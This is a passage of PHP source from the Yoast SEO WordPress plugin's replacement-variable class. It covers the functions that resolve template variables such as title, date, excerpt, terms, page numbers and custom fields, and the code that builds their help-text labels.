	 *                                 should *return* the replacement value. DON'T echo it.
	 * @param string $type             Type of variable: 'basic' or 'advanced', defaults to 'advanced'.
	 * @param string $help_text        Help text to be added to the help tab for this variable.
	 *
	 * @return bool `true` if the replace var has been registered, `false` if not.
	 */
	public function safe_register_replacement( $var_to_replace, $replace_function, $type = 'advanced', $help_text = '' ) {
		if ( ! $this->has_been_registered( $var_to_replace ) ) {
			return self::register_replacement( $var_to_replace, $replace_function, $type, $help_text );
		}
		return false;
	}

	/**
	 * Checks whether the given replacement variable has already been registered or not.
	 *
	 * @param string $replacement_variable The replacement variable to check, including the variable delimiter (e.g. `%%var%%`).
	 *
	 * @return bool `true` if the replacement variable has already been registered.
	 */
	public function has_been_registered( $replacement_variable ) {
		$replacement_variable = self::remove_var_delimiter( $replacement_variable );

		return isset( self::$external_replacements[ $replacement_variable ] );
	}

	/**
	 * Returns the list of hidden replace vars.
	 *
	 * E.g. the replace vars that should work, but are not advertised.
	 *
	 * @return string[] The list of hidden replace vars.
	 */
	public function get_hidden_replace_vars() {
		return [
			'currentdate',
			'currentyear',
			'currentmonth',
			'currentday',
			'post_year',
			'post_month',
			'post_day',
			'author_first_name',
			'author_last_name',
			'permalink',
			'post_content',
			'category_title',
		];
	}

	/**
	 * Retrieve the replacements for the variables found.
	 *
	 * @param array $matches Variables found in the original string - regex result.
	 * @param array $omit    Variables that should not be replaced by this function.
	 *
	 * @return array Retrieved replacements - this might be a smaller array as some variables
	 *               may not yield a replacement in certain contexts.
	 */
	private function set_up_replacements( $matches, $omit ) {

		$replacements = [];

		// @todo Figure out a way to deal with external functions starting with cf_/ct_.
		foreach ( $matches[1] as $k => $var ) {

			// Don't set up replacements which should be omitted.
			if ( in_array( $var, $omit, true ) ) {
				continue;
			}

			// Deal with variable variable names first.
			if ( strpos( $var, 'cf_' ) === 0 ) {
				$replacement = $this->retrieve_cf_custom_field_name( $var );
			}
			elseif ( strpos( $var, 'ct_desc_' ) === 0 ) {
				$replacement = $this->retrieve_ct_desc_custom_tax_name( $var );
			}
			elseif ( strpos( $var, 'ct_' ) === 0 ) {
				$single      = ( isset( $matches[2][ $k ] ) && $matches[2][ $k ] !== '' );
				$replacement = $this->retrieve_ct_custom_tax_name( $var, $single );
			}
			// Deal with non-variable variable names.
			elseif ( method_exists( $this, 'retrieve_' . $var ) ) {
				$method_name = 'retrieve_' . $var;
				$replacement = $this->$method_name();
			}
			// Deal with externally defined variable names.
			elseif ( isset( self::$external_replacements[ $var ] ) && ! is_null( self::$external_replacements[ $var ] ) ) {
				$replacement = call_user_func( self::$external_replacements[ $var ], $var, $this->args );
			}

			// Replacement retrievals can return null if no replacement can be determined, root those outs.
			if ( isset( $replacement ) ) {
				$var                  = self::add_var_delimiter( $var );
				$replacements[ $var ] = $replacement;
			}
			unset( $replacement, $single, $method_name );
		}

		return $replacements;
	}

	/* *********************** BASIC VARIABLES ************************** */

	/**
	 * Retrieve the post/cpt categories (comma separated) for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_category() {
		$replacement = null;

		if ( ! empty( $this->args->ID ) ) {
			$cat = $this->get_terms( $this->args->ID, 'category' );
			if ( $cat !== '' ) {
				return $cat;
			}
		}

		if ( isset( $this->args->cat_name ) && ! empty( $this->args->cat_name ) ) {
			$replacement = $this->args->cat_name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the category description for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_category_description() {
		return $this->retrieve_term_description();
	}

	/**
	 * Retrieve the date of the post/page/cpt for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_date() {
		$replacement = null;

		if ( $this->args->post_date !== '' ) {
			// Returns a string.
			$replacement = YoastSEO()->helpers->date->format_translated( $this->args->post_date, get_option( 'date_format' ) );
		}
		elseif ( get_query_var( 'day' ) && get_query_var( 'day' ) !== '' ) {
			// Returns a string.
			$replacement = get_the_date();
		}
		elseif ( single_month_title( ' ', false ) && single_month_title( ' ', false ) !== '' ) {
			// Returns a string.
			$replacement = single_month_title( ' ', false );
		}
		elseif ( get_query_var( 'year' ) !== '' ) {
			// Returns an integer, let's cast to string.
			$replacement = (string) get_query_var( 'year' );
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt excerpt for use as replacement string.
	 * The excerpt will be auto-generated if it does not exist.
	 *
	 * @return string|null
	 */
	private function retrieve_excerpt() {
		$replacement = null;
		$locale      = get_locale();

		// Japanese doesn't have a jp_JP variant in WP.
		$limit = ( $locale === 'ja' ) ? 80 : 156;

		// The check `post_password_required` is because excerpt must be hidden for a post with a password.
		if ( ! empty( $this->args->ID ) && ! post_password_required( $this->args->ID ) ) {
			if ( $this->args->post_excerpt !== '' ) {
				$replacement = wp_strip_all_tags( $this->args->post_excerpt );
			}
			elseif ( $this->args->post_content !== '' ) {
				$content = strip_shortcodes( $this->args->post_content );
				$content = wp_strip_all_tags( $content );

				if ( mb_strlen( $content ) <= $limit ) {
					return $content;
				}

				$replacement = wp_html_excerpt( $content, $limit );

				// Check if the description has space and trim the auto-generated string to a word boundary.
				if ( strrpos( $replacement, ' ' ) ) {
					$replacement = substr( $replacement, 0, strrpos( $replacement, ' ' ) );
				}
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt excerpt for use as replacement string (without auto-generation).
	 *
	 * @return string|null
	 */
	private function retrieve_excerpt_only() {
		$replacement = null;

		// The check `post_password_required` is because excerpt must be hidden for a post with a password.
		if ( ! empty( $this->args->ID ) && $this->args->post_excerpt !== '' && ! post_password_required( $this->args->ID ) ) {
			$replacement = wp_strip_all_tags( $this->args->post_excerpt );
		}

		return $replacement;
	}

	/**
	 * Retrieve the title of the parent page of the current page/cpt for use as replacement string.
	 * Only applicable for hierarchical post types.
	 *
	 * @todo Check: shouldn't this use $this->args as well ?
	 *
	 * @return string|null
	 */
	private function retrieve_parent_title() {
		$replacement = null;

		if ( ! empty( $this->args->ID ) ) {
			$parent_id = wp_get_post_parent_id( $this->args->ID );
			if ( $parent_id ) {
				$replacement = get_the_title( $parent_id );
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the current search phrase for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_searchphrase() {
		$replacement = null;

		$search = get_query_var( 's' );
		if ( $search !== '' ) {
			$replacement = esc_html( $search );
		}

		return $replacement;
	}

	/**
	 * Retrieve the separator for use as replacement string.
	 *
	 * @return string Retrieves the title separator.
	 */
	private function retrieve_sep() {
		return YoastSEO()->helpers->options->get_title_separator();
	}

	/**
	 * Retrieve the site's tag line / description for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string|null
	 */
	private function retrieve_sitedesc() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$description = wp_strip_all_tags( get_bloginfo( 'description' ) );
			if ( $description !== '' ) {
				$replacement = $description;
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the site's name for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string|null
	 */
	private function retrieve_sitename() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$sitename = YoastSEO()->helpers->site->get_site_name();
			if ( $sitename !== '' ) {
				$replacement = $sitename;
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the current tag/tags for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_tag() {
		$replacement = null;

		if ( ! empty( $this->args->ID ) ) {
			$tags = $this->get_terms( $this->args->ID, 'post_tag' );
			if ( $tags !== '' ) {
				$replacement = $tags;
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the tag description for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_tag_description() {
		return $this->retrieve_term_description();
	}

	/**
	 * Retrieve the term description for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_term_description() {
		$replacement = null;

		if ( ! empty( $this->args->term_id ) && ! empty( $this->args->taxonomy ) ) {
			$term_desc = get_term_field( 'description', $this->args->term_id, $this->args->taxonomy );
			if ( $term_desc !== '' ) {
				$replacement = wp_strip_all_tags( $term_desc );
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the term name for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_term_title() {
		$replacement = null;

		if ( ! empty( $this->args->taxonomy ) && ! empty( $this->args->name ) ) {
			$replacement = $this->args->name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the title of the post/page/cpt for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_title() {
		$replacement = null;

		if ( is_string( $this->args->post_title ) && $this->args->post_title !== '' ) {
			$replacement = $this->args->post_title;
		}

		return $replacement;
	}

	/**
	 * Retrieve primary category for use as replacement string.
	 *
	 * @return bool|int|null
	 */
	private function retrieve_primary_category() {
		$primary_category = null;

		if ( ! empty( $this->args->ID ) ) {
			$wpseo_primary_category = new WPSEO_Primary_Term( 'category', $this->args->ID );

			$term_id = $wpseo_primary_category->get_primary_term();
			$term    = get_term( $term_id );

			if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
				$primary_category = $term->name;
			}
		}

		return $primary_category;
	}

	/**
	 * Retrieve the string generated by get_the_archive_title().
	 *
	 * @return string|null
	 */
	private function retrieve_archive_title() {
		return get_the_archive_title();
	}

	/* *********************** ADVANCED VARIABLES ************************** */

	/**
	 * Determine the page numbering of the current post/page/cpt.
	 *
	 * @param string $request Either 'nr'|'max' - whether to return the page number or the max number of pages.
	 *
	 * @return int|null
	 */
	private function determine_pagenumbering( $request = 'nr' ) {
		global $wp_query, $post;
		$max_num_pages = null;
		$page_number   = null;

		$max_num_pages = 1;

		if ( ! is_singular() ) {
			$page_number = get_query_var( 'paged' );
			if ( $page_number === 0 || $page_number === '' ) {
				$page_number = 1;
			}

			if ( ! empty( $wp_query->max_num_pages ) ) {
				$max_num_pages = $wp_query->max_num_pages;
			}
		}
		else {
			$page_number = get_query_var( 'page' );
			if ( $page_number === 0 || $page_number === '' ) {
				$page_number = 1;
			}

			if ( isset( $post->post_content ) ) {
				$max_num_pages = ( substr_count( $post->post_content, '<!--nextpage-->' ) + 1 );
			}
		}

		$return = null;

		switch ( $request ) {
			case 'nr':
				$return = $page_number;
				break;
			case 'max':
				$return = $max_num_pages;
				break;
		}

		return $return;
	}

	/**
	 * Determine the post type names for the current post/page/cpt.
	 *
	 * @param string $request Either 'single'|'plural' - whether to return the single or plural form.
	 *
	 * @return string|null
	 */
	private function determine_pt_names( $request = 'single' ) {
		global $wp_query;
		$pt_single = null;
		$pt_plural = null;
		$post_type = '';

		if ( isset( $wp_query->query_vars['post_type'] ) && ( ( is_string( $wp_query->query_vars['post_type'] ) && $wp_query->query_vars['post_type'] !== '' ) || ( is_array( $wp_query->query_vars['post_type'] ) && $wp_query->query_vars['post_type'] !== [] ) ) ) {
			$post_type = $wp_query->query_vars['post_type'];
		}
		elseif ( isset( $this->args->post_type ) && ( is_string( $this->args->post_type ) && $this->args->post_type !== '' ) ) {
			$post_type = $this->args->post_type;
		}
		else {
			// Make it work in preview mode.
			$post = $wp_query->get_queried_object();
			if ( $post instanceof WP_Post ) {
				$post_type = $post->post_type;
			}
		}

		if ( is_array( $post_type ) ) {
			$post_type = reset( $post_type );
		}

		if ( $post_type !== '' ) {
			$pt        = get_post_type_object( $post_type );
			$pt_single = $pt->name;
			$pt_plural = $pt->name;
			if ( isset( $pt->labels->singular_name ) ) {
				$pt_single = $pt->labels->singular_name;
			}
			if ( isset( $pt->labels->name ) ) {
				$pt_plural = $pt->labels->name;
			}
		}

		$return = null;

		switch ( $request ) {
			case 'single':
				$return = $pt_single;
				break;
			case 'plural':
				$return = $pt_plural;
				break;
		}

		return $return;
	}

	/**
	 * Retrieve the attachment caption for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_caption() {
		return $this->retrieve_excerpt_only();
	}

	/**
	 * Retrieve a post/page/cpt's custom field value for use as replacement string.
	 *
	 * @param string $var_to_replace The complete variable to replace which includes the name of
	 *                               the custom field which value is to be retrieved.
	 *
	 * @return string|null
	 */
	private function retrieve_cf_custom_field_name( $var_to_replace ) {
		$replacement = null;

		if ( is_string( $var_to_replace ) && $var_to_replace !== '' ) {
			$field = substr( $var_to_replace, 3 );
			if ( ! empty( $this->args->ID ) ) {
				// Post meta can be arrays and in this case we need to exclude them.
				$name = get_post_meta( $this->args->ID, $field, true );
				if ( $name !== '' && ! is_array( $name ) ) {
					$replacement = $name;
				}
			}
			elseif ( ! empty( $this->args->term_id ) ) {
				$name = get_term_meta( $this->args->term_id, $field, true );
				if ( $name !== '' ) {
					$replacement = $name;
				}
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve a post/page/cpt's custom taxonomies for use as replacement string.
	 *
	 * @param string $var_to_replace The complete variable to replace which includes the name of
	 *                               the custom taxonomy which value(s) is to be retrieved.
	 * @param bool   $single         Whether to retrieve only the first or all values for the taxonomy.
	 *
	 * @return string|null
	 */
	private function retrieve_ct_custom_tax_name( $var_to_replace, $single = false ) {
		$replacement = null;

		if ( ( is_string( $var_to_replace ) && $var_to_replace !== '' ) && ! empty( $this->args->ID ) ) {
			$tax  = substr( $var_to_replace, 3 );
			$name = $this->get_terms( $this->args->ID, $tax, $single );
			if ( $name !== '' ) {
				$replacement = $name;
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve a post/page/cpt's custom taxonomies description for use as replacement string.
	 *
	 * @param string $var_to_replace The complete variable to replace which includes the name of
	 *                               the custom taxonomy which description is to be retrieved.
	 *
	 * @return string|null
	 */
	private function retrieve_ct_desc_custom_tax_name( $var_to_replace ) {
		$replacement = null;

		if ( is_string( $var_to_replace ) && $var_to_replace !== '' ) {
			$tax = substr( $var_to_replace, 8 );
			if ( ! empty( $this->args->ID ) ) {
				$terms = get_the_terms( $this->args->ID, $tax );
				if ( is_array( $terms ) && $terms !== [] ) {
					$term      = current( $terms );
					$term_desc = get_term_field( 'description', $term->term_id, $tax );
					if ( $term_desc !== '' ) {
						$replacement = wp_strip_all_tags( $term_desc );
					}
				}
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the current date for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string The formatted current date.
	 */
	private function retrieve_currentdate() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$replacement = date_i18n( get_option( 'date_format' ) );
		}

		return $replacement;
	}

	/**
	 * Retrieve the current day for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string The current day.
	 */
	private function retrieve_currentday() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$replacement = date_i18n( 'j' );
		}

		return $replacement;
	}

	/**
	 * Retrieve the current month for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string The current month.
	 */
	private function retrieve_currentmonth() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$replacement = date_i18n( 'F' );
		}

		return $replacement;
	}

	/**
	 * Retrieve the current time for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string The formatted current time.
	 */
	private function retrieve_currenttime() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$replacement = date_i18n( get_option( 'time_format' ) );
		}

		return $replacement;
	}

	/**
	 * Retrieve the current year for use as replacement string.
	 *
	 * The `$replacement` variable is static because it doesn't change depending
	 * on the context. See https://github.com/Yoast/wordpress-seo/pull/1172#issuecomment-46019482.
	 *
	 * @return string The current year.
	 */
	private function retrieve_currentyear() {
		static $replacement;

		if ( ! isset( $replacement ) ) {
			$replacement = date_i18n( 'Y' );
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt's focus keyword for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_focuskw() {
		// Retrieve focuskw from a Post.
		if ( ! empty( $this->args->ID ) ) {
			$focus_kw = WPSEO_Meta::get_value( 'focuskw', $this->args->ID );
			if ( $focus_kw !== '' ) {
				return $focus_kw;
			}

			return null;
		}

		// Retrieve focuskw from a Term.
		if ( ! empty( $this->args->term_id ) ) {
			$focus_kw = WPSEO_Taxonomy_Meta::get_term_meta( $this->args->term_id, $this->args->taxonomy, 'focuskw' );
			if ( $focus_kw !== '' ) {
				return $focus_kw;
			}
		}

		return null;
	}

	/**
	 * Retrieve the post/page/cpt ID for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_id() {
		$replacement = null;

		if ( ! empty( $this->args->ID ) ) {
			// The post/page/cpt ID is an integer, let's cast to string.
			$replacement = (string) $this->args->ID;
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt modified time for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_modified() {
		$replacement = null;

		if ( ! empty( $this->args->post_modified ) ) {
			$replacement = YoastSEO()->helpers->date->format_translated( $this->args->post_modified, get_option( 'date_format' ) );
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt author's "nice name" for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_name() {
		$replacement = null;

		$user_id = (int) $this->retrieve_userid();
		$name    = get_the_author_meta( 'display_name', $user_id );
		if ( $name !== '' ) {
			$replacement = $name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt author's users description for use as a replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_user_description() {
		$replacement = null;

		$user_id     = (int) $this->retrieve_userid();
		$description = get_the_author_meta( 'description', $user_id );
		if ( $description !== '' ) {
			$replacement = $description;
		}

		return $replacement;
	}

	/**
	 * Retrieve the current page number with context (i.e. 'page 2 of 4') for use as replacement string.
	 *
	 * @return string
	 */
	private function retrieve_page() {
		$replacement = null;

		$max = $this->determine_pagenumbering( 'max' );
		$nr  = $this->determine_pagenumbering( 'nr' );
		$sep = $this->retrieve_sep();

		if ( $max > 1 && $nr > 1 ) {
			/* translators: 1: current page number, 2: total number of pages. */
			$replacement = sprintf( $sep . ' ' . __( 'Page %1$d of %2$d', 'wordpress-seo' ), $nr, $max );
		}

		return $replacement;
	}

	/**
	 * Retrieve the current page number for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_pagenumber() {
		$replacement = null;

		$nr = $this->determine_pagenumbering( 'nr' );
		if ( isset( $nr ) && $nr > 0 ) {
			$replacement = (string) $nr;
		}

		return $replacement;
	}

	/**
	 * Retrieve the current page total for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_pagetotal() {
		$replacement = null;

		$max = $this->determine_pagenumbering( 'max' );
		if ( isset( $max ) && $max > 0 ) {
			$replacement = (string) $max;
		}

		return $replacement;
	}

	/**
	 * Retrieve the post type plural label for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_pt_plural() {
		$replacement = null;

		$name = $this->determine_pt_names( 'plural' );
		if ( isset( $name ) && $name !== '' ) {
			$replacement = $name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the post type single label for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_pt_single() {
		$replacement = null;

		$name = $this->determine_pt_names( 'single' );
		if ( isset( $name ) && $name !== '' ) {
			$replacement = $name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the slug which caused the 404 for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_term404() {
		$replacement = null;

		if ( $this->args->term404 !== '' ) {
			$replacement = sanitize_text_field( str_replace( '-', ' ', $this->args->term404 ) );
		}
		else {
			$error_request = get_query_var( 'pagename' );
			if ( $error_request !== '' ) {
				$replacement = sanitize_text_field( str_replace( '-', ' ', $error_request ) );
			}
			else {
				$error_request = get_query_var( 'name' );
				if ( $error_request !== '' ) {
					$replacement = sanitize_text_field( str_replace( '-', ' ', $error_request ) );
				}
			}
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt author's user id for use as replacement string.
	 *
	 * @return string
	 */
	private function retrieve_userid() {
		// The user ID is an integer, let's cast to string.
		$replacement = ! empty( $this->args->post_author ) ? (string) $this->args->post_author : (string) get_query_var( 'author' );

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt's published year for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_post_year() {
		if ( empty( $this->args->ID ) ) {
			return null;
		}

		return get_the_date( 'Y', $this->args->ID );
	}

	/**
	 * Retrieve the post/page/cpt's published month for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_post_month() {
		if ( empty( $this->args->ID ) ) {
			return null;
		}

		return get_the_date( 'F', $this->args->ID );
	}

	/**
	 * Retrieve the post/page/cpt's published day for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_post_day() {
		if ( empty( $this->args->ID ) ) {
			return null;
		}

		return get_the_date( 'd', $this->args->ID );
	}

	/**
	 * Retrieve the post/page/cpt author's first name for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_author_first_name() {
		$replacement = null;

		$user_id = (int) $this->retrieve_userid();
		$name    = get_the_author_meta( 'first_name', $user_id );
		if ( $name !== '' ) {
			$replacement = $name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt author's last name for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_author_last_name() {
		$replacement = null;

		$user_id = (int) $this->retrieve_userid();
		$name    = get_the_author_meta( 'last_name', $user_id );
		if ( $name !== '' ) {
			$replacement = $name;
		}

		return $replacement;
	}

	/**
	 * Retrieve the post/page/cpt permalink for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_permalink() {
		if ( empty( $this->args->ID ) ) {
			return null;
		}

		return get_permalink( $this->args->ID );
	}

	/**
	 * Retrieve the post/page/cpt content for use as replacement string.
	 *
	 * @return string|null
	 */
	private function retrieve_post_content() {
		$replacement = null;

		// The check `post_password_required` is because content must be hidden for a post with a password.
		if ( ! empty( $this->args->ID ) && $this->args->post_content !== '' && ! post_password_required( $this->args->ID ) ) {
			$content     = strip_shortcodes( $this->args->post_content );
			$replacement = wp_strip_all_tags( $content );
		}

		return $replacement;
	}

	/**
	 * Retrieve the current or first category title. To be used for import data from AIOSEO.
	 * The code derives from AIOSEO's way of dealing with that var, so we can ensure 100% seamless transition.
	 *
	 * @return string|null
	 */
	private function retrieve_category_title() {
		if ( empty( $this->args ) || empty( $this->args->ID ) ) {
			return null;
		}
		$post_id = $this->args->ID;

		$post       = get_post( $post_id );
		$taxonomies = get_object_taxonomies( $post, 'objects' );

		foreach ( $taxonomies as $taxonomy_slug => $taxonomy ) {
			if ( ! $taxonomy->hierarchical ) {
				continue;
			}
			$post_terms = get_the_terms( $post_id, $taxonomy_slug );
			if ( is_array( $post_terms ) && count( $post_terms ) > 0 ) {
				// AiOSEO takes the name of whatever the first hierarchical taxonomy is.
				$term = $post_terms[0];
				if ( $term ) {
					return $term->name;
				}
			}
		}

		return null;
	}

	/* *********************** HELP TEXT RELATED ************************** */

	/**
	 * Set the help text for a user/plugin/theme defined extra variable.
	 *
	 * @param string                     $type                 Type of variable: 'basic' or 'advanced'.
	 * @param WPSEO_Replacement_Variable $replacement_variable The replacement variable to register.
	 *
	 * @return void
	 */
	private static function register_help_text( $type, WPSEO_Replacement_Variable $replacement_variable ) {
		$identifier = $replacement_variable->get_variable();

		if ( ( is_string( $type ) && in_array( $type, [ 'basic', 'advanced' ], true ) )
			&& ( $identifier !== '' && ! isset( self::$help_texts[ $type ][ $identifier ] ) )
		) {
			self::$help_texts[ $type ][ $identifier ] = $replacement_variable;
		}
	}

	/**
	 * Generates a list of replacement variables based on the help texts.
	 *
	 * @return array List of replace vars.
	 */
	public function get_replacement_variables_with_labels() {
		self::setup_statics_once();

		$custom_variables = [];
		foreach ( array_merge( WPSEO_Custom_Fields::get_custom_fields(), WPSEO_Custom_Taxonomies::get_custom_taxonomies() ) as $custom_variable ) {
			$custom_variables[ $custom_variable ] = new WPSEO_Replacement_Variable( $custom_variable, $this->get_label( $custom_variable ), '' );
		}

		$replacement_variables = array_filter(
			array_merge( self::$help_texts['basic'], self::$help_texts['advanced'] ),
			[ $this, 'is_not_prefixed' ],
			ARRAY_FILTER_USE_KEY
		);

		$hidden = $this->get_hidden_replace_vars();

		return array_values(
			array_map(
				static function ( WPSEO_Replacement_Variable $replacement_variable ) use ( $hidden ) {
					$name = $replacement_variable->get_variable();

					return [
						'name'   => $name,
						'value'  => '',
						'label'  => $replacement_variable->get_label(),
						'hidden' => in_array( $name, $hidden, true ),
					];
				},
				array_merge( $replacement_variables, $custom_variables )
			)
		);
	}

	/**
	 * Generates a list of replacement variables based on the help texts.
	 *
	 * @return array List of replace vars.
	 */
	public function get_replacement_variables_list() {
		self::setup_statics_once();

		$replacement_variables = array_merge(
			$this->get_replacement_variables(),
			WPSEO_Custom_Fields::get_custom_fields(),
			WPSEO_Custom_Taxonomies::get_custom_taxonomies()
		);

		return array_map( [ $this, 'format_replacement_variable' ], $replacement_variables );
	}

	/**
	 * Creates a merged associative array of both the basic and advanced help texts.
	 *
	 * @return array Array with the replacement variables.
	 */
	private function get_replacement_variables() {
		$help_texts = array_merge( self::$help_texts['basic'], self::$help_texts['advanced'] );

		return array_filter( array_keys( $help_texts ), [ $this, 'is_not_prefixed' ] );
	}

	/**
	 * Checks whether the replacement variable contains a `ct_` or `cf_` prefix, because they follow different logic.
	 *
	 * @param string $replacement_variable The replacement variable.
	 *
	 * @return bool True when the replacement variable is not prefixed.
	 */
	private function is_not_prefixed( $replacement_variable ) {
		$prefixes = [ 'cf_', 'ct_' ];
		$prefix   = $this->get_prefix( $replacement_variable );

		return ! in_array( $prefix, $prefixes, true );
	}

	/**
	 * Strip the prefix from a replacement variable name.
	 *
	 * @param string $replacement_variable The replacement variable.
	 *
	 * @return string The replacement variable name without the prefix.
	 */
	private function strip_prefix( $replacement_variable ) {
		return substr( $replacement_variable, 3 );
	}

	/**
	 * Gets the prefix from a replacement variable name.
	 *
	 * @param string $replacement_variable The replacement variable.
	 *
	 * @return string The prefix of the replacement variable.
	 */
	private function get_prefix( $replacement_variable ) {
		return substr( $replacement_variable, 0, 3 );
	}

	/**
	 * Strips 'desc_' if present, and appends ' description' at the end.
	 *
	 * @param string $label The replacement variable.
	 *
	 * @return string The altered replacement variable name.
	 */
	private function handle_description( $label ) {
		if ( strpos( $label, 'desc_' ) === 0 ) {
			return substr( $label, 5 ) . ' description';
		}

		return $label;
	}

	/**
	 * Creates a label for prefixed replacement variables that matches the format in the editors.
	 *
	 * @param string $replacement_variable The replacement variable.
	 *
	 * @return string The replacement variable label.
	 */
	private function get_label( $replacement_variable ) {
		$prefix = $this->get_prefix( $replacement_variable );
		if ( $prefix === 'cf_' ) {
			return $this->strip_prefix( $replacement_variable ) . ' (custom field)';
		}

		if ( $prefix === 'ct_' ) {
			$label = $this->strip_prefix( $replacement_variable );
			$label = $this->handle_description( $label );
			return ucfirst( $label . ' (custom taxonomy)' );
		}

		if ( $prefix === 'pt_' ) {
			if ( $replacement_variable === 'pt_single' ) {
				return 'Post type (singular)';
			}

			return 'Post type (plural)';
		}

		return '';
	}

	/**
	 * Formats the replacement variables.
	 *
	 * @param string $replacement_variable The replacement variable to format.
	 *
	 * @return array The formatted replacement variable.
	 */
	private function format_replacement_variable( $replacement_variable ) {
		return [
			'name'  => $replacement_variable,
			'value' => '',
			'label' => $this->get_label( $replacement_variable ),
		];
	}

	/**
	 * Set/translate the help texts for the WPSEO standard basic variables.
	 *
	 * @return void
	 */
	private static function set_basic_help_texts() {
		/* translators: %s: wp_title() function. */
		$separator_description = __( 'The separator defined in your theme\'s %s tag.', 'wordpress-seo' );
		$separator_description = sprintf(
			$separator_description,
			// '<code>wp_title()</code>'
			'wp_title()'
		);

		$replacement_variables = [
			new WPSEO_Replacement_Variable( 'date', __( 'Date', 'wordpress-seo' ), __( 'Replaced with the date of the post/page', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'title', __( 'Title', 'wordpress-seo' ), __( 'Replaced with the title of the post/page', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'parent_title', __( 'Parent title', 'wordpress-seo' ), __( 'Replaced with the title of the parent page of the current page', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'archive_title', __( 'Archive title', 'wordpress-seo' ), __( 'Replaced with the normal title for an archive generated by WordPress', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'sitename', __( 'Site title', 'wordpress-seo' ), __( 'The site\'s name', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'sitedesc', __( 'Tagline', 'wordpress-seo' ), __( 'The site\'s tagline', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'excerpt', __( 'Excerpt', 'wordpress-seo' ), __( 'Replaced with the post/page excerpt (or auto-generated if it does not exist)', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'excerpt_only', __( 'Excerpt only', 'wordpress-seo' ), __( 'Replaced with the post/page excerpt (without auto-generation)', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'tag', __( 'Tag', 'wordpress-seo' ), __( 'Replaced with the current tag/tags', 'wordpress-seo' ) ),
			new WPSEO_Replacement_Variable( 'category', __( 'Category', 'wordpress-seo' ), __( 'Replaced with the post categories (comma separated)', 'wordpress-seo' ) ),
